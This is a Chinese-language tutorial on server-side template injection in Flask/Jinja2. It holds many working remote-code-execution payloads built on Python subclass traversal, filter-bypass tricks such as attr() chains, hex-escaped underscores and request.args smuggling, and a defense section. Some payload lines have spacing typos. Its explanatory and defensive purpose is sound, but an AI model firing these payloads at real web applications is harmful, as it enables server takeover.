专栏首页卓文见识Python安全之SSTI——Flask/Jinja2

Python安全之SSTI——Flask/Jinja2

一、关于SSTI

SSTI(Server Side Template Injection),又称服务端模板注入攻击。其发生在MVC框架中的view层,常见的用于渲染的模板有Twig、FreeMarker、Velocity、Smarty等。

服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、getShell 等问题。

例如twig的代码:

$output =$twig->render($_GET['custom_email'], array("first_name" =>$user.first_name) );

如果我们输入custom_email={{7*7}}则会得到49。关于SSTI漏洞的介绍可见:

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

二、关于Jinja2

Jinja2 是仿照 Django 模板的一个功能齐全的模板引擎。它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全。

编写示例代码一,将请求输入参数name拼接为模板内容的一部分并进行渲染输出,这里关注Template模块的render方法:

:request.url的方式不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,request.args传参)

三、漏洞复现

访问如下链接,被解析成功,说明漏洞的存在:

http://127.0.0.1:5000/?name={{22*3}}

而SSTI中主要涉及的漏洞有两个:文件读取和命令执行,这里主讲命令执行。

首先python环境下常用的命令执行方式有以下几种:

os.system()
os.popen()
subprocess.call/popen

实现执行任意python代码的payload有:

POC1:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}

POC2:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b inc.__init__.__globals__.values() %}
  {% ifb.__class__ == {}.__class__ %}
    {% if'eval' in b.keys() %}
      {{b['eval']('__import__("os").popen("calc").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

访问:

http://127.0.0.1:5000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22calc%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

成功实现代码执行:

四、漏洞原理

Jinja2的SSTI漏洞原理用一句话描述就是,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法

1)首先,要想在 Jinja2 的模板中执行 Python代码,按照官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册,示例代码二如下:

这里传入参数 {{ os.popen('calc') }},因为在模板环境中已经注册了 os 变量为 Python os模块,所以可以直接调用模块函数来执行系统命令。

2)但如果使用示例代码一来执行,会得到 os未定义的异常错误:

3)那如何在未注册 os 模块的情况下在模板中调用popen() 函数执行系统命令呢?由于模板中能够访问 Python 内置的变量和变量方法,并且能通过 Jinja2 的模板语法遍历变量

首先,解释一下Python中一些常见的特殊方法:

__class__返回调用的参数类型
__base__返回基类列表
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回object子类
__globals__ 以字典类型返回当前位置的全部全局变量(func_globals 等价)

jinja2中获取基类的方法如下:

''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

因此可以构造出如下模板 Payload :

''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('ls').read()

除此之外os模块还可从warnings.catchwarnings模块入手,__init__方法用于将对象实例化,可以通过funcglobals(或者`__globals`)看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块,从而有了以下payload:

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

4)在实际测试中可用的payload未知,避免手动挨个尝试,一般使用模板的控制语句进行通用攻击:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('calc') }}
{% endif %}
{% endfor %}

5)除了遍历找到 `os` 模块外,还能直接找到 `eval` 函数并进行调用,这样就能够调用复杂的 Python 代码:

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('calc').read()")}}

但实际类所在的索引随环境变换而不一样,下标也应随之改变,所以可以直接用for循环来遍历所得的基类:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b inc.__init__.func_globals.values() %}
  {% ifb.__class__ == {}.__class__ %}
    {% if'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("calc").read()')}}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

五、沙盒绕过(SSTI Bypass)

沙盒绕过是python安全不得不提的一个话题,以一个最典型的CTF题为例,2014CSAW-CTF 中的一道经典的Python 沙盒绕过题目:

最终PoC为:

[c for c in [].__class__.__base__.__subclasses__() ifc.__name__ ==
'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echoHello SandBox')

更多过滤场景:

1)过滤 {{或}}

使用 {%绕过,{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果,如下,把命令执行的结果外带:

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('calc').read()=='p'%}1{% endif %}

2)过滤 _

使用编码绕过:__class__ => \x5f\x5fclass\x5f\x5f

3)过滤 .

a>采用 attr()或 []绕过, payload:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

b>使用[]绕过:

http://127.0.0.1:5000/?name={{config['__class__']['__init__']['__globals__']['os']['popen'](calc)['read']()}}

其他:利用request

如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们拿过滤 __class__,可以用 request.args.t1且以GET方式提交 t1=__class__ 来替换被过滤的 __class__

形式1

{{''.__class__}} =>{{''[request.args.t1]}}&t1=__class__

形式2

{{''.__class__}} =>{{''[request['args']['t1']]}}&t1=__class__

同理也可以使用POST,只需要需要将args换成form即可。或者利用Python字符串格式化特性绕过ssti过滤,批量脚本:

str1 = '__class__'
res = ''
for i in str1:
  res +="{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])

六、总结

1、测试方法

SSTI漏洞是控制 Web 应用渲染模板(基于Jinja2)内容来进行远程代码(命令)执行,前提是模板内容可控,因此

1) 需要跟踪render()方法的变量是否可控;

2) 若变量可控,则尝试输入payload,若被过滤尝试绕过。

2、防御办法

使用 Jinja2 自带的沙盒环境 jinja2.sandbox.SandboxedEnvironment,Jinja2 默认沙盒环境在解析模板内容时会检查所操作的变量属性,对于未注册的变量属性访问都会抛出错误。

本文分享自微信公众号 - 卓文见识(zhuowenjianshi),作者:Jayway

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-05-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 浅谈Flask模板注入攻击

    ​ 由于最近一直在学二进制,所以web方面时间就不是很充足了,在buuoj上做了几道web,其中有一道flask(jinja2)的SSTI,之前也...

    ly0n
  • FlaskJinja2 开发中遇到的的服务端注入问题研究 II

    0x00. 前言 本篇文章是 《Flask Jinja2 开发中遇到的的服务端注入问题研究》<点击阅读原文查看链接>续篇,我们继续研究 Flask Jinja...

    FB客服
  • Flask-SSTI模版注入

    可以看到Template("Hello "+ name) 是直接将变量name给输出到模版,如下图

    偏有宸机
  • Python安全 | Flask-jinja2 SSTI 利用手册

    很多刚开始学习SSTI的新手可能看到上面的利用方法就蒙圈了,不太懂为什么要这么做,下面来讲一下关于Python中类的知识。面向对象语言的方法来自于类,对于pyt...

    HACK学习
  • (精编)Python与安全(三)SSTI服务器模板注入

    __mro__返回一个包含类或对象所继承的基类元组。方法在解析式按照元组的顺序解析,从自身所属类到<class'object'>。

    7089bAt@PowerLi
  • 通过SSTI漏洞获取服务器远程Shell

    本文我将为大家演示,如何利用服务器端模板注入(SSTI)漏洞,来获取应用托管服务器上的shell。

    FB客服
  • Flask Jinja2开发中遇到的的服务端注入问题研究

    0×00. 前言 作为一个安全工程师,我们有义务去了解漏洞产生的影响,这样才能更好地帮助我们去评估风险值。本篇文章我们将继续研究Flask/Jinja2 开...

    FB客服
  • SSTI Bypass 分析

    护网杯过去不久,realworld到来之前先来研究研究SSTI的Bypass套路。

    ChaMd5安全团队
  • 干货-python与安全(一)入门简介

    我会开始写一些关于python的安全文章,都是自己学习时候的笔记。大部分的安全学习者的python语法功底都不是很好,我会在这里记录我的学习笔记供大家参考,希望...

    7089bAt@PowerLi
  • python Flask离线安装与测试

    Flask是用python进行web开发时,常见的python web框架。 如果服务器可以连接到外网,可以简单的用 pip install Flask 直接将...

    py3study
  • Flask 中的Jinja2模板引擎

    在 Web 项目中,前端的显示效果是通过 HTML 语言来实现的,后端的视图函数将数据或模板文件返回给前端。

    Python碎片公众号
  • Virtualenv&Flask 入门

    Flask 依赖两个外部库:Werkzeug 和 Jinja2 。 Werkzeug 是一个 WSGI(在 Web 应用和多种服务器之间的标准 Python 接...

    HLee
  • 【Docker】项目实战,部署自己的APP

    有关 Dockerfile 的相关知识,我在后面的文章会进行讲解,今天主要是实际操作

    机器视觉CV
  • CentOS7安装python3和pip3

    版权声明:署名,允许他人基于本文进行创作,且必须基于与原先许可协议相同的许可协议分发本文 (Creative Commons)

    程序员欣宸
  • Werkzeug更新带来的Flask debug pin码生成方式改变

    复现2020GYCTF-FLASKAPP及 2019CISCN double_secret出现异常。题目本身有两个解题方式。

    FB客服
  • window下用pin安装flask步骤及import flask报错的解决方案

    安装过程: 1.下载get-pip.py,下载路径并不重要 不用放到Python安装目录里。 2.打开下载路径 python get-pip.py 运行这个py...

    kalifa_lau
  • 基于nexus3配置Python仓库过程详解

    hosted : 本地存储,便于开发者将个人的一些包上传到私服中proxy : 提供代理其他仓库的类型,如豆瓣的pypi仓库group : 组类型,实质作用是组...

    砸漏
  • Flask第三篇——安装Flask

    用户2149234
  • Flask基础快速入门

    简介 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flas...

    菲宇

扫码关注云+社区

领取腾讯云代金券